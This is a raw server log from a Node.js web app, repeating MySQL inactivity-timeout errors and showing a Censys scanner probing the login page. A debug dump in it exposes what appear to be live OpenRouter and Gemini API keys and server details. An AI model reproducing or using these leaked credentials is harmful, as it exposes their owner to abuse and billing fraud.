  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-20 01:20:42' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-20 09:56:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-20 09:56:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-20 19:39:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-20 19:39:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 03:58:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 03:58:45' as DATETIME)"
}
2026-01-21T04:24:16.617Z server-connect:router Serving templateView /
2026-01-21T04:24:16.619Z server-connect:app Executing action step identify
2026-01-21T04:24:16.619Z server-connect:app options: { provider: 'security' }
2026-01-21T04:24:16.619Z server-connect:auth No login cookie found
2026-01-21T04:24:16.619Z server-connect:output identity: false
2026-01-21T04:24:16.619Z server-connect:app Executing action step restrict
2026-01-21T04:24:16.619Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-21T04:24:16.620Z server-connect:output restrict: undefined
2026-01-21T04:24:17.512Z server-connect:router Serving templateView /login
2026-01-21T04:24:17.512Z server-connect:app Executing action step identify
2026-01-21T04:24:17.512Z server-connect:app options: { provider: 'security' }
2026-01-21T04:24:17.513Z server-connect:auth No login cookie found
2026-01-21T04:24:17.513Z server-connect:output identity: false
2026-01-21T04:24:17.513Z server-connect:router Render template layouts/authentication
2026-01-21T04:24:17.513Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.42',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-22T04:24:17.512Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.42',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.42',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 09:53:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 09:53:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 12:13:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 12:13:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 12:53:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 12:53:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 13:25:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 13:25:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 15:05:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 15:05:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 16:03:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 16:03:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 16:58:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 16:58:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 18:04:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 18:04:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-21 22:03:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-21 22:03:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-22 04:05:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-22 04:05:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-22 09:34:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-22 09:34:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-22 12:21:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-22 12:21:51' as DATETIME)"
}
2026-01-22T12:47:14.786Z server-connect:router Serving templateView /
2026-01-22T12:47:14.788Z server-connect:app Executing action step identify
2026-01-22T12:47:14.788Z server-connect:app options: { provider: 'security' }
2026-01-22T12:47:14.788Z server-connect:auth No login cookie found
2026-01-22T12:47:14.788Z server-connect:output identity: false
2026-01-22T12:47:14.788Z server-connect:app Executing action step restrict
2026-01-22T12:47:14.788Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-22T12:47:14.789Z server-connect:output restrict: undefined
2026-01-22T12:47:15.264Z server-connect:router Serving templateView /
2026-01-22T12:47:15.264Z server-connect:app Executing action step identify
2026-01-22T12:47:15.264Z server-connect:app options: { provider: 'security' }
2026-01-22T12:47:15.265Z server-connect:auth No login cookie found
2026-01-22T12:47:15.265Z server-connect:output identity: false
2026-01-22T12:47:15.265Z server-connect:app Executing action step restrict
2026-01-22T12:47:15.265Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-22T12:47:15.265Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-22 23:51:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-22 23:51:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-23 00:47:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
